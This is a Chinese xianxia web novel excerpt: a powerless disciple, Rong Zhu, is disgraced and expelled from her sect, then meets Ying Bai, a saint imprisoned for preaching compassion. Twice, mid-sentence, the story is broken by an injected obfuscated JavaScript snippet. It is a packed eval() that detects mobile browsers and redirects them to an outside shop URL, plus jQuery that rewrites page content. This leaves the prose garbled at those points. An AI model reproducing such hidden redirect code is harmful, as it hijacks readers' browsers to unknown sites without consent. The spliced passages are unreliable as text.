《废柴徒弟与疯子师父》 1. 废物 蓝金莲花状的香炉中央燃着的竹签香眼看就剩下最后半寸,丝丝缕缕的白烟就像人临死之际的微弱呼吸,微风一拂就吹得散落不堪,摇摇欲坠。 “倒下半天了,还能不能站起来啊?” “我看清凌门这次要丢大脸了,这霉运怕是开天辟地头一遭吧,圣灵宫竟抽中了她!” “呵呵!一个没有灵力的人只怕是要死在那上头了……” 天阙比试台下方围了一圈由不同颜色图案旗帜组成的阵营,对应的是修真界各大小门派,从左到右意味着灵阶地位由高到低。 此刻场下人头攒动,言语声此起彼伏,放眼望去各门派弟子脸上皆挂着灿烂明媚的笑容,像春三月盛放的花朵,千姿百态。而处在中央的清凌门却好似乌云密布,派内各弟子皆是紧握拳头,一双双赤火般地双眸紧盯着天阙台倒下的少女。 修真界将灵力阶级分为五级:普通人,即没有资质修炼的人。再便是低灵、中灵、高灵,最后则是圣灵。 三年前,清凌门在一年一度的灵阶晋升比试中大展身手,三场比试全部胜出,由圣灵宫的万初圣灵亲自宣布清凌门晋升为中灵门派。 很多人一辈子修炼到老也只是个中灵。中灵这两个字对个单打独斗的人比试来说很难,对于门派比试来说更难。 个人比试只需操心自己实力达到即可,可门派参加比试的弟子是由圣灵宫的圣灵们抽选,可不是门派指定,这样的规则让各大门派不得不对自家弟子们进行严格的训练,以免将来面临圣灵宫抽取弟子时,派内弟子能力不足的情况。 清凌门因为三年前的这场比试顿时名声大噪,有人说清凌门踩了狗屎生了运气,有人想离开自家门派转投清凌门门下。 当时圣灵宫抽到的三个人都是清凌门内的优秀弟子,因此三场比试下来虽然多少受了点伤,但换来的却是中灵阶级,只要没死没残废都不算什么。 门派是什么阶级,弟子才能是什么阶级。弟子们为门派比试就是为自己比试,就算资质差,只要是清凌门的弟子,都可以说自己是中灵。 这都是给外人看的,掌门当然知道自家弟子有多少本事。 而此时此刻,天阙比试台上清凌门这方被选中的三名弟子中,一个约有中灵实力,一个是低灵,而另外一个…… 所有人都知道,前任清凌门掌门之女容珠修炼了七八年,连低灵都够不上,偏偏这次清凌门的中灵复核比试抽中了她。 灵阶等级每年都要进行一次更新,要么参加灵阶晋升比赛,要么参加灵阶复核比赛,而清凌门在今年的中灵复核比赛中却出了这样的意外。 “容珠,快起来!只要你站起来,我们就赢了!” 站在她身旁的一个清凌门弟子嘴角挂着血,脚步虚浮,他拧着脸极力控制着自己双脚站稳,不能跌倒。 他身旁还站着另外一个清凌门弟子,他双手负在身后,浑身上下看不出一点伤痕,一双凌厉眼睛一动不动地盯着地上趴着的少女。 急切、焦躁、愤怒…… 比试以一柱香为限,圣灵宫从参赛两方各抽取三名弟子比试,届时清凌门站起来的人数等于或多于对方人数,本场比试获胜,三场都通过门派才可继续位列中灵,现在是第一场。 此刻,与清凌门比试的水月门的三名弟子皆站在对面,他们当中有一个人是中灵,其余两个人是低灵。中灵者是水月门掌门之女水落泽,十七岁,她和其他两名水月门弟子目露讥讽,笑意浓厚。全场所有人的目光都落在唯一一个倒下的人身上。 容珠感觉自己的后背上像压了块千金石,她只要稍稍有起身的动作就会有一股力量从她的胸腔朝四肢头顶啃噬蔓延。她低低痛呼了一声,有些困难地看向不远处的银琉桌。 银琉桌上只放着一盏蓝金莲花状香炉,炉顶上的烟在微风的摧残下渐渐分裂成一缕缕、一丝丝、一点…… “本场比试结果宣布——” 身穿月袍的圣灵宫使者站在天阙台一侧的高台上朝前来参加比试的众门派及个人高喊。 “清凌门在中灵复核考验比试中已败一场,未达到中灵阶级,现收回曾赐予的中灵之光,降为低灵——!” 虽说人人心里都知道,哪个门派没有几个资质差的弟子?可运气这个东西的确存在,圣灵宫抽取的人是无法改变的,清凌门就是这么不走运,抽中了一个废物,废物上场除了拖后腿还能有什么作用? “啪——”清凌门内,一个少女拍桌起身,清冷的双眸充满怒气,死死盯着天阙台上倒下的容珠。 “檀儿,坐下。” 少女身旁坐着一个身穿灰袍的中年男子,约莫四五十岁,双眉凌厉,双眸深邃,通身散发着不动如山的威严,正是清凌门新任掌门容江。 容檀气急败坏,恨不得立马就要上去痛骂,可听见父亲的声音,心中怒火虽消了两分,但仍不解气,骂了句:“废物!” 声音颇大,整个清凌门都听到了,那些弟子们原本就对参加比试的某人不满,如今连累的连三年前获得的中灵阶级都败掉了,更是人人心中憋着一团火。 这个世界,灵阶等级高过一切。强者为尊,弱者低贱是千百年来运行的规则,有天赋有资源的人可以单打独斗,自立门户,没资源但有钱财的人便可投靠门派为自己博一个远大前程。 “你听到了吗?清凌门降为了低灵!哈哈哈哈!” 不知从哪个门派传出的一声嘲笑,人群顿时炸开了锅,哄笑一团。 “你没瞧见那个容珠空有手脚,站在那里一动不动等着被打,别人还得去救她,真是丢人……” “门派降级一事史无前例!幸亏当时没转投清凌门,这个低灵的头衔还不晓得有没有翻盘的机会呢!” 天阙台上,清凌门的两名弟子将众人的议论全都听了进去,他们何尝不认为容珠是多余的呢?要不是看在她是前任掌门之女的面子上,早把她赶出清凌门去了,岂能容得下废物在这与他们平分资源,共同吃住? 两名弟子气得自顾自地下台,独留容珠还在地上疼痛地不能起身。 她身上灵力微薄,当水落泽举起灌满了灵力的手掌击过来时,她比任何人受的伤都要严重。 她听见了那些话,雾蒙蒙的眼睛四处躲闪,她想找个没人的地方躲起来,不想出现在他们眼前成为辱骂对象,可身子却怎么也动不了。 这一瞬间,她感受到了平生以来最大的侮辱。 可他们说的是事实。 她,容珠,就是一个废物,爹爹因她而死,清凌门因她而降级。 不知不觉间,她双手因紧紧抓着地面而洇出血,鲜红夺目,流淌在天阙台这庄严琉璃的地面上。 “起来!” 一个冰冷的声音击中了她的耳朵,她身子一颤,抬头去望。 面前之人半蹲着看向自己,清冷的瞳孔像冰锥似的刺入容珠的双眼,额上的一抹中灵之蓝恍若神女之光,映得对方姿容绝美,也震得自己如坠寒窟。 “容檀……” “不要叫我!”容檀一直想成为众人的焦点,但眼下这种丢人现眼的途径,她羞愤难当。刚才爹爹让她顾及家族以及清凌门的颜面带容珠下来,她快要疯了! 容珠一直是容家的累赘,是清凌门的累赘,她甚至认为有容珠这样的表姐是她身上的一个污点,这种毫无长进的废物为什么还要花时间和精力养着她? 她片刻也不想在天阙台上多待,左手蓄起灵力,一把将地上的容珠拉起,也不顾容珠吃痛的狼狈样,大步流星地回到清凌门辖区内。 掌门容江见状朝身旁的大弟子连逸使了个手势,连逸眉目含忧地从容檀手中接过容珠,带到后面去疗伤。 余下的比试,各派弟子都看得津津无味,毕竟有清凌门珠玉在前,剩下的比试哪里有清凌门精彩? 清凌门自然也无心观看余下的比试,终于 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他从书上看到了有一种灵药草,正符合容珠的情况。于是有陆陆续续大半年,容山都在为这株灵药草奔波,直到伤痕累累地将它采回来。 按照书上的说法,灵药草有毒,要先用温和的灵力去除毒性再入药服用,若灵力不对,就会被药草反弹,中毒而亡。 容山能升至高灵阶级,灵力不仅要做到精纯,还要学会控制以及转化灵力,但他伤还没养好便一心迫切地想净化草药给容珠服下去好让容珠摆脱“废物”的称号。 灵草药感受到了有灵力袭入,开启了幻境防御。也正因有伤在身,容山沉浸在幻境中,看到女儿被人欺负,看到清凌门的匾额被打下来时,感性占据了理性,他下意识用了攻击之力。 可想而知,容山被灵草药反噬中毒而死,这给只剩爹爹的容珠带来了莫大的打击。 自容山死后,那些曾经对自己谄媚,献殷勤的师哥师姐们,仿佛全都变了个人,看她的眼神尽是讥讽,哪有什么看掌门之女的尊敬。新掌门容江是容珠的叔叔,虽有血缘,但容珠跟他并没有多少感情。 容珠坐在床头,泪水浸湿了被褥,有敲门声袭来,她连忙擦了擦脸。 连逸端来煎好的汤药来到容珠床前,温言道:“吃了这碗药就好得差不多了。” 面前汤药热气氤氲,就像那日银琉桌上的香炉,轻烟徐徐。 “掌门在大堂等着你。”寂静的屋内,连逸的声音像一声惊雷。他没有看向容珠,而是微微垂着脑袋,言语里尽是荒凉。 汤药的热气似乎熏热了容珠的双眸,她眼神空洞地不知看着哪里,右手用勺子一勺一勺地舀着碗里的药汁,含在口里是滚烫的,到肚里已是冰凉。 这不是治病的汤药,而是送她上路的毒药。 * 清凌门大堂。 清凌门上下五十多名弟子已排排站好,放眼望去,每个人皆横眉倒竖,双唇紧抿,额间的低灵之黄恍若是一道刻在身上的耻辱。 堂内,首座上坐着的是一袭灰袍的掌门人容江,他的额间没有灵阶标识,多半是隐藏起来了,左边座上的是女儿容檀。堂中站着一个少女,面色憔悴,嘴唇发白。 “叔叔。”容珠微微启齿,声音听起来虚弱不堪。 容江面色平静,开口道:“我听连逸说,你的伤好得差不多了。这两日,派内上下因为灵阶比试一事一直议论不休。今日人都到齐了,我就来解决一下这件事。” 堂外弟子个个一脸愤愤,堂内大弟子连逸双眉紧锁,不忍看向容珠。左首的容檀目视前方,双眸分外冷漠。 容珠缓缓跪在地上,颤抖着身子朝容江磕了一个头。 “容珠资质平庸,承蒙叔叔和表妹的照拂才能在清凌门安稳度日。可容珠不思进取,浪费资源,害父亲惨死,又使清凌门降级受辱,实在无颜继续留下……我会远离清凌门,恳请叔叔手下留情,不要处死容珠……” 3. 过往 耳边风声如海浪,双目仿佛被海水淹没,终是无法睁开。容珠感觉整个身子在漩涡中翻滚辗转,被这股无穷之力肆意拨弄推搡,脑袋早已眩晕不堪,意识逐渐迷离涣散。 她不晓得自己是睡着了还是陷入了幻境,眼前这个四方屋檐分外眼熟,眼下有徐徐热气飘荡,锅碗瓢盆整齐地悬挂在屋墙上。 这里是清凌门的厨房。 窗外枝条砌雪,层叠的砖瓦缝隙间躺着一堆堆白雪,院内方地都是厚白厚白的雪堆,唯有一枝红梅从窗边探出头来,添了抹生机。 几月前,清凌门在灵阶比试中获得中灵,爹爹为庆祝这一喜事,特放清凌门弟子七天假期,她和师兄师姐们一起出去玩,那是她多年刻苦修炼里难得的快乐时光。她喜欢这样的幸福,于是想着在这样一个寒冷的冬日,应该为她的师兄师姐们做点什么。 她端着一个托盘,上头是几碗浓浓热汤。若这个时候给他们人人送去一碗热乎乎的肉汤,再与他们吃果玩笑,定是冬日里极其幸福的事。 她兴高采烈地踩雪前行,拐过一个空廊来到一处院内,一条扫出来的青石小路从积雪中蜿蜒前伸直达门口,一把粘着碎雪的扫帚歪歪扭扭地立在廊下,门内的笑声此起彼伏地传进容珠耳中。 她想师兄们定是在说什么趣事,可不能错过。她走快了几步,眉眼含笑地刚扬手欲敲门,随之而来的一个声音从门内霍然而出: “什么掌上明珠,就是废物一个!” “你说她命好吧,她又修炼不起来,你说她命不好吧,她又是掌门的女儿。她也就是有这个头衔让咱对她点头哈腰,她算个屁呀!” “掌门把她当宝贝女儿,对我们来讲就是抢资源的敌人!” “要我说啊,咱这个掌门也是死脑筋,非要给她提升灵核资质,给她吃进肚里的那些灵丹妙药全都白瞎,要是给咱几个分分,清凌门又会多几个人才良将。掌门自个儿掏把钱给她买个铺子做生意得了,还指望清凌门上下养着她不成……” “……” “……” 讥讽放肆的语言在这个寂静的冬日午后一句接一句地传进门外之人的耳朵里。 冬风忽地刮来几阵寒意扑向容珠,容珠只觉“嗡”的一声,耳蜗像被塞了一团棉花,堵得她胀痛难忍,头脑发晕。一股羞耻与自卑自心头涌起,她慌忙回头逃出院外,回过神来的时候已经在碧湖边坐着出神了好久。 碧湖在春天的时候水波荡漾,湖面宛若青缎柔纱,湖边的几株柳树像几个姑娘半斜着身子将柳条似的头发垂入碧湖中浣洗。在冬日,这方碧湖就是一个大大的冰块,柳树姑娘成了掉光了头发的枯瘦老妇,佝偻着身子,受寒风卷席摧残。 冬去春来,冰块湖又成了碧湖,柳树获得新生蜕落成纤纤姑娘。 可冬去春来,容珠还是容珠,废物仍旧是废物。 托盘里的汤已经凉透了,容珠伸出冻得通红的手端起一碗来喝了一口。凉汤下肚,涌出来的泪水却是滚烫的。 她原以为只有清凌门外的人才会称呼自己为“废物”。 她原以为清凌门的师兄师姐都拿她当妹妹来看,他们曾对自己说:“没事的,师妹,努力就一定会有收获。” “不要伤心,你来我房间,师姐教你聚气。” “师妹,我们都是清凌门的弟子,说什么嫌弃麻烦之类的话。” “师妹,快过来跟我们一块玩……” 原来所有的善意都是伪装,除了爹爹,谁又会真心想帮她? 在这个世界,强者永居高位,其次便是金钱。 无钱无资质的人家只能锄地种菜,或去各处客栈酒馆或各大门派扫地洗衣,做饭刷碗。稍有些钱财的人可以让自家孩子开铺子当老板:蔬菜瓜果、纺织捕鱼、锻造修建……各行各业皆是生存渠道,干得好了成为门派的特定供应商或者拿钱去门派买个弟子名额,从此踏入修仙之路。富得流油者,可拿足银两去圣灵宫谋个活计。 圣灵宫的七位圣灵虽已修炼至登峰造极地步,但离成仙还隔着一道坎。不是仙者,再厉害也是凡人,吃喝拉撒,沐浴换衣……而能去圣灵宫谋差事,可是一件十足长脸的事。若是机缘巧合得哪个圣灵收徒或奖赏灵草,指不定就有机会步入成为强者的队列。 可清凌门掌门容山唯有容珠一个爱女。他是一派掌门又拥有多种资源,换做是谁都一定会尽力培养自己孩子成为强者,若不把各种增强修为的方法统统试一遍,容山是不会放弃的! “容珠,爹不相信你会一直这样。容家人个个根骨上佳,就算不济,也不可能修炼多年毫无进展。一定是哪里出现了问题……” “容珠,你是爹的女儿,是清凌门的未来,我们必须不断变强,不能落人话柄,不能丢家族颜面。爹也会将所有好的草药灵丹先给你用,你一定要争气……” 遥远的记忆将漩涡中的容珠带去了老远。她不知跟爹爹承诺过多少次:“爹爹放心,我会努力的!”“我能行!”“我可以的!” 一日复一日,一月复一月,一年复一年。少女越发沉鱼落雁、玲珑剔透,可灵力依旧稀薄微弱,那些吃下去的灵药犹如石子坠湖,终究归于平静。 自那次无意间偷听得知众弟子对自己的看法后,容珠再不会主动找他们了,若是远远听到他们的脚步声或言语声靠近,她要先找个地方藏起来,或是原路返回,总之不能让他们再看见自己。 她不想惹他们厌弃,也不想佯装自己无事发生。那种客客气气、虚情假意的笑,真的比外界的嘲讽还要扎得人刺痛。 爹爹忙碌,弟子们不喜欢自己。清凌门本是自己的家,竟无一处可去。她不知不觉间走到了一处静谧之地,抬头望向眼前的院落——玉霄院。 这里住着的是她的叔叔容江和表妹容檀。 静谧之地是每个修炼之人都需要的外在环境,这个地方不仅静谧,还背靠青山面朝水,是容檀特意向伯伯容山提的。 容珠有时候已经分不清自己对这个表妹是羡慕大过嫉妒,还是嫉妒大过羡慕。容檀长着一张宛若九天仙女的容颜,在修炼上更是天赋异禀,卓越出尘。拥有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16669314|188622||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 两项强项加持,即便是容檀面对表姐容珠时也会傲气凌人的说:“你太笨了。” 她是实打实的天之娇女,令可望而不可即的容珠夜夜躺在被窝里反复幻想自己有一天也会这样。 若是容貌逊色,她还不会如此不甘心,可她与容檀差的是灵力。 灵力是可以后天补救的! 她不知从哪里生出的勇气,进了玉霄院,叩响了容檀的屋门,内心忐忑间看到屋门被开,一个漠然高冷的少女缓缓抬起眼帘,静静地望着她。 “容檀……我……我……我想向你请教一些功法……” 容檀微微眯起双眼,嘴角上弯,低低一声浅笑自鼻间哼出,嗓音如微风拂过天阙比试台角悬挂着的金琉宫铃,叮铃清脆地在容珠耳边响起: “表姐,你来向我请教说明你认可我的实力,可我虽自带天赋却也不能总以此引以为傲,还得经年累月地修习提升自己,每当感受到体内灵力的进步,我都知道它们来之不易,所以我实在是没有时间帮助你。” “啊……我明白……” “砰!”门关上的一瞬间掀起了一阵风将容珠还未说完的话堵了回去。 她甚至还未来得及失望,面目呆滞地定格在原地。 她不是第一次请教容檀了,开始几次容檀或许顾及亲戚颜面教了她,后来是在容江这个父亲的劝说下,容檀才又同意辅导容珠,后来就如今日这般,堂而皇之地闭门谢客。 漩涡里的狂风将过往的碎片记忆一股脑的砸向容珠,她像一只兔子,怎么蹦跳也无法解脱,任由周遭的无形之力左一击又一掌的玩弄着,她求生不得求死不能,耳边全是乌糟糟的说话声和一个又一个的场景。 “清凌门掌门之女容珠是个天生废物!” “要不是看她是掌门之女,非得将她踹出清凌门不可!” “表姐,圣灵宫抽中了你我无话可说,但你既知自己没有灵力就不该逞能出击,在一边站着就好了,不要影响别人,拖清凌门后腿!” “珠儿,休息一会儿吧,娘看你好久都没有笑了……” “珠儿,你在哪……快来娘的怀里,娘好久都没见我的珠儿了……” “娘……”容珠无处躲藏,悲从心起,意识驱使着身体跑出玉霄院,跌跌撞撞地来到青山环绕的玉泉湖边,张开双臂抱着冰凉坚硬的灰色墓碑。坟堆周围放了一圈的玉泉樱花,那柔美清丽的模样真像她因病逝去的娘亲啊…… 忽然一阵痛感袭入后背,她重重跌到了地上,竟也毫无察觉,思绪还沉浸在过往场景中没有苏醒。她紧闭双眸,时不时发出两句呓语。晶莹的泪水浸红了她的眼角,流花了脂玉般的脸。 她抱着那块墓碑,而从外人角度来看,她正环抱自己。 “娘……我好想你……” 有一双手从背后握住了她的胳膊,试图将她从地上扶起。容珠却以为是娘亲真的站在了身后,一腔思念汹涌出了滚滚热泪,她蓦地转过身钻进眼前之人的怀抱,一双臂膀紧紧搂住这人的腰,哭天喊地的一声:“娘——!” 4. 疯子 “娘!我好想你!爹已经不在了!他为了助我修炼不幸被草药反噬,中毒而死!” “娘,他们都不喜欢我,我是个废物,清凌门我已经回不去了……” “我最亲的人都死了……”容珠呜呜地哭着。 她才十六岁,母亲在她七岁那年离她而去,三年前又失去了父亲,偏偏在这个强者为尊的世界她还是个修炼不起来的废物,被清凌门除名已经够锥心了,现在连天也要亡她,连她最后的苟活都要剥夺,无限的委屈和无助束缚着她,想要活着的声音在她脑子里不停呼喊,一股反叛抗拒的火苗在心里越来越烈…… 被抱着的那人逐渐有些喘不过气来,他紧绷的身子像个木棍似的立在那儿,一时间不知该先出声打个招呼还是该将她的手臂先松一松。 但这样的场景实属尴尬无措,他想了想,这个姑娘这么伤心若此刻出言唤醒岂非太过残忍?可他认为人还是克制清醒的好,幻象终究是幻象。 终于,心中酝酿好了语言,垂眸正要开口便见怀中少女不知何时正泪眼莹莹地瞧着他。 她面容悲伤,柳眉微微蹙起,泪水还在眼眶里打转如两汪清泉荡漾涟漪,鼻尖哭得红彤彤的,鬓边的碎发粘在又湿又乱的脸上,可谓是狼狈至极。 这样的面容毫无防备地直击他眼底,方才想的安慰之言都淹没在了泪水之中,连脑子里装着的都是少女簌簌的泪。 原本扶着少女胳膊的手自作主张地抬起,掌心轻轻放在她细腻粉红的脸颊上,拇指轻划过皮肤,将她脸上的泪痕一点点擦去。 他蓦地想起了许多年前的某个画面,一条隐秘的线索忽隐忽现地在他眼前闪过,是什么来着? 他与世隔绝了太多年,曾经有过的周游和举动都记不全了。他一个人感受着朝阳和落日的交替循环,也不知道过了多少个日日夜夜,高兴的,快乐的记忆都悄无声息地渐渐淡忘。 可他还是能从残存的记忆中感受到有一件事他还能记得。 好像记忆中也有一张相似的脸…… 他抚着少女的脸颊与她对视,直到少女理智渐明,察觉出不对劲的时候他似在电光火石间抓住了那条线索,略带疑问道:“你是容珠?” 刚抛出问题,他这才发现自己的手正在抚摸眼前这个姑娘……什么君子礼仪,男女授受不亲呼呼啦啦的道德规则给了他当头一棒。 他有些局促地将目光收回,立马从少女臂中挣脱出来后退几步,然后端起礼节,朝面前之人道:“实在对不起,我看到你从洞口摔了进来倒在地上就想把你扶起,但……你很伤心,一直在哭……本想安慰你……” 虽说是这个姑娘主动抱的自己,朝自己喊娘,但男子汉大丈夫若是以这个作为理由来解释自己刚才的行径实属不妥,况且手长在自己身上,那姑娘可没有让他给她抹脸,他就是实打实的非礼行为! “你……”容珠下意识警惕,她环顾周围发现周遭环境有些熟悉……这不是清凌门的山洞吗? “我刚才经历了什么?”容珠在心里默默地问,只觉后背格外痛,好像刚才自己摔了进来。可不是有个漩涡把她吸进去了吗?怎么现在却在清凌门的山洞?这个人是…… 容珠抬眼细细打量他,这人穿了身黑色劲装,但衣服似乎很破很烂,还有大片大片晕开的褐色印记,是血吗? 他身形挺拔,眉眼温和,面容虽然很憔悴却能看出俊朗之姿,额间那抹金光璀璨神圣,点缀在这副模样上显得格格不入。 金光……不是圣灵的印记么? 容珠更奇怪了,圣灵怎么会在清凌门的山洞里?眼前这个人的形象跟圣灵的气质可谓是天差地别,像个被人打得很重的罪人…… 罪人! 一个罪人圣灵! 容珠顿时恍然大悟,她想起来了一件事。 多年前,修真界曾发生两件天大之事。 第一件事是在她十岁那年,有一人参加灵阶晋升比试,在一炷香内挑战圣灵宫的昌修圣灵成功,荣获圣灵宫万初圣灵亲赐圣灵之金在额间,一时之间,千门百户炸开了锅地讨论这个传奇之人。 人一辈子能成为圣灵的可能微乎其微,几代人都不一定能听到有人成为圣灵的消息,他们惊叹的是自个儿能亲眼看到圣灵的诞生,更可怖的是,成为圣灵的这个人年方十八。 十八岁!未及弱冠!成为了圣灵! 说出来只会让人以为吃错了药。可修真界几大门派的掌门及弟子亲眼所见,没人会说:“你眼瞎了吧?” 少年成名,名声大噪,一夕之间,所有人都知道这个少年叫应白。本该是前途可期,人中龙凤,可…… 这便是第二件事。 十二岁那年,也就是四年前,这个名动天下的少年被圣灵宫七位圣灵合力囚禁了。 每家每户,甚至连灵力是什么都不知道的娃子都会说:“疯子被关起来了,疯子被关起来了!” 容珠仔细回想了下,他被关的理由好像是……说错了话…… “强者的存在是为了保护弱者,人人心中当有仁爱。”这句话让他成了圣灵宫抓捕的对象。 因为他妖言惑众,被整个圣灵宫指定为疯子。 强者为尊,弱者低贱是这个世界千百年来遵循的规则。弱者凭什么要让强者保护? 仁爱又值几分钱? 仁爱能让我们变强么? 仁爱能让我们成仙么? 不能——! 圣灵宫都说他是疯子,他就是疯子! 杀!杀!杀! 为避免他妖术横行,掌控整个修真界,七位圣灵联起手来将他围堵于南海上空,由修为最久的万初圣灵剥取了他的灵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16669315|188622||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 核,开启漩涡之境,将他关押了进去。 其实当时万初并没有参与进去,他是看到其他六位圣灵一直和应白打得僵持不下才出手的,而应白先前已经耗费了大量体力和精力,万初一加入他便再无胜算。 一个少年需要七位圣灵合力才能制服,实力究竟有多强简直骇人听闻! 而剥取灵核犹如剜心,几乎没有活的可能,可是死是活,别人一点也不关心。 他们只知道那个年少成名的疯子被圣灵宫挖了灵核。他们知道这个天才般的少年已经消逝了。 他带给整个修真界的仰慕和崇拜荡然无存,若说起少年的天赋与聪慧,人们会反驳:“切,天才又怎样?还不是个疯子?还不是被剥了灵核?” “什么天才啊,他是另类!是妖怪!白瞎了一身修为,好在圣灵宫的七位圣灵深明大义,就该及时毁了他,这样的人留着难道要毁了修真界,阻你我成仙么?” “就该咱们一人一脚将他踩在泥沟里,看他还嘚瑟显摆什么!” 他们哪里是仰慕,分明是嫉妒。 他们才不崇拜。 因为看着登顶者跌落谷底比眼瞧着他步步登阶要更振奋人心。 细枝末节的事容珠知之甚少,那一年,她还在为自己的灵力赶不上容檀而焦虑,日日废寝忘食地修炼,对这件事也只知有个叫应白的圣灵被圣灵宫关了起来。在得知他被关的理由时,容珠内心毫无波澜。 她没有嘲讽应白,也没有怜惜应白。事实上,她始终都不知道应如何看待这件事,那时的她也不会知道,往后多年废寝忘食地修炼灵力也不过是蜻蜓点水罢了。 要摆脱“废物”称号这件事已成了她的噩梦,别的她什么都想不了。 容珠觉得自己或许天生就有霉运在身,克死了母亲,克死了父亲,出身名门大派却连灵力都没有,害得清凌门降级,此刻又跟曾经沦为修真界罪人的疯子同处一处…… 她到底犯了什么错,命运要如此折磨她? 现在,她哪里还有精力去质问上天,有一个危险近在咫尺,难道她不想保命吗? “你,你,你你你……” 原先思念亲人的眼泪在脸颊上闪着水光,此时的她抬起手一把将脸狠狠地擦了个干净,至少不能从面相上示弱。 “你你你……” 应白见对面姑娘伸出手颤抖地指着自己,面色分明一副难以置信地惊恐模样,两只脚一前一后地站着,这个姿势正是逃跑前的站姿。 他诧异眼前姑娘看向自己的神色,于是偏过头去,借着脚边平静的水面仔细端详了一下自己的容颜。 眉目清明,脸也洗了,到底是哪里让她露出如此恐怖的神情呢? 他正百思不得其解之时,忽听那姑娘大声呼喊道: “你是应白!你是……疯子!” 5. 质问 应白愣了片刻,顿时了然于心。他垂眸嘴角一弯:“我为什么是疯子?” “因为……”容珠低低地回答,“你说错了话。” “我说了什么?” “你说‘强者应保护弱者,人人心中当有仁爱’。” “只是一句话又不是吃了人,你看我的眼神就好像我是一个妖魔。”应白的笑渐渐收敛,眸光黯淡了下来,“我杀人放火了吗?” “你……没……”容珠停顿了一下。 准确的来说,容珠并不知道他干过什么事,每天除了在自个儿屋里修炼,就是和师兄师姐们游玩唠嗑,听他们说那时她以为他们喜欢自己的话。 那人接着问:“我可有吸人精气?” 容珠:“……” “我可干过屠杀掳掠之事?” “……” 容珠仔细回想了一下当年的记忆。 当时圣灵应白被关押一事沸沸扬扬地讨论了半年。 清凌门的饭堂、花园、假山、亭阁,走到哪里都能听到弟子们在激烈地讨论应白如何如何。偶尔有出去游玩的机会,便见街道上、茶铺酒馆里,三两人围在一起说什么圣灵宫、漩涡之境……似乎整个修真界没有别的事可说了。 应白帮农户锄地收菜、应白给一弱女及其孩童塞了袋银钱、应白为被撞孩童讨回公道辱骂修士、应白拜访各大门派宣扬仁爱…… 疯子! 真是疯子! 容珠渐渐收起了回忆。一个渺小的疑问从她心底生了出来:如果应白做的那些都被认为是疯子,是不对的事,那杀人放火,吃人饮血是什么样的事? 另一个声音告诉她:强者才有能力杀人,强者才会有本事吃人喝血。强者为尊,仁爱低贱,这些事再正常不过了! 不然那么多人一生都在修炼是为了什么?就是要变强,从普通人成为低灵,一步步成为中灵、高灵、圣灵,直到成仙! 这才是人活着的意义,这才是修炼的意义。 这是从出生以来,父亲和整个世界教她的道理,爹爹经常对她说:“弱者不该被同情,怜悯是最无用的东西”。 “姑娘认为一个人成为圣灵后该干什么?” 应白的一句话将思绪陷入浓雾中的容珠拉了出来。 容珠反映了一会儿,不假思索道:“当然是继续修炼,准备成仙。” “姑娘认为这就是人活着的意义?”他诚挚地看着她,往前走了一步,“这就是上天创造人的初衷?” 忽然一抹灵光闪入容珠脑中,她想起就在不久前,她面临黑暗湍急的漩涡时还曾对上天辩驳: “这世上人虽为人,却与蚕食血肉的恶魔无异。我相信,天地创造出人,繁衍生息,是为了凝聚与恶对立的力量,让强者有成为强者的理由,让弱者也有存在的意义……” 这是她曾说过的话。 她怎么会说出这样的话? 她怎么会说出质疑世界规则的话?如此大逆不道的话? 她脸色霎时惨白一片。 应白看着她:“从你进山洞的那一刻起就一直很悲情。你断断续续说了一些话,很显然,你受到了极大的恶意,所以很委屈无助。 “你真的认为人与人之间除了强弱之分,就没有别的相处方式吗? “若你父母亲也因你弱小而抛弃你,指责你无用,你是否还能活到现在?” 一句接一句的话如冬日雪水融化形成的冰锥,寒凉刺骨地扎进了她的心。 “……我父母亲从不嫌弃我是废物……” 这世上唯一对她好的就是父亲和母亲,虽然父亲总对她说要努力要争气,但他还是会帮她提升灵力,会护着她。容珠十分清楚,与父母亲在一起的时光才会让她得到片刻轻松。 应白又近了一步,“如果是这样,那你的父母岂不是违反了世界‘强者为尊,弱者低贱’的规则?” “才不是!”容珠反驳道,“他们是我的父母,父母爱孩子怎会有错?” “为什么亲属间可以有爱,而陌生人与陌生人之间不能有爱呢?”应白站到了她面前,“为什么陌生人之间不能互相包容,互相扶持? “你有没有想过‘强者为尊,弱者低贱’的规则违背了世间规律,因为永远都有弱者存在,而上天创造了弱者是为了让强者施展爱的力量,却被后人曲解为强者可肆意践踏。” 容珠被这番言论惊得半天说不出一句话来,男人额间的圣灵之金像是一种威慑,震惊得让她此刻看来仿佛是一只被捕猎者困住的小兽。 从来没有人跟她说过这样的话,这样惊天地,足以受整个修真界唾骂的言论,怪不得他会被关起来,怎么到现在他还能这般淡定自若地说出来? 她不敢看他又不敢低头,硬着头皮对上他强势的目光,棕色的瞳孔散发着细碎光亮,像撒了一把星星在上面,渐渐地,容珠似乎察觉到那里面暗藏着一丝慌乱和迫切。 应白在漩涡之境不知被关了多少年,起先他还会根据光线洒在洞口的明暗判断日夜交替,一天天地数着日子,后来实在无聊,便一直睡觉。 他感觉仿佛过去了千年,日子漫长地让他快要疯掉,于是他及时克制住了自己将要疯魔的迹象,开始在这方天地打拳习武。 没了灵核,他曾经拥有过的再强大的灵力都随之飞走了,他若不继续巩固自己的拳脚功夫,只怕会成为一个风一吹就做不了主的树叶。 谁知道,一天接一天地流失,他根本不知道过去了多长时间,等来的不是他离开,而是又有人进来了。 还是个姑娘。 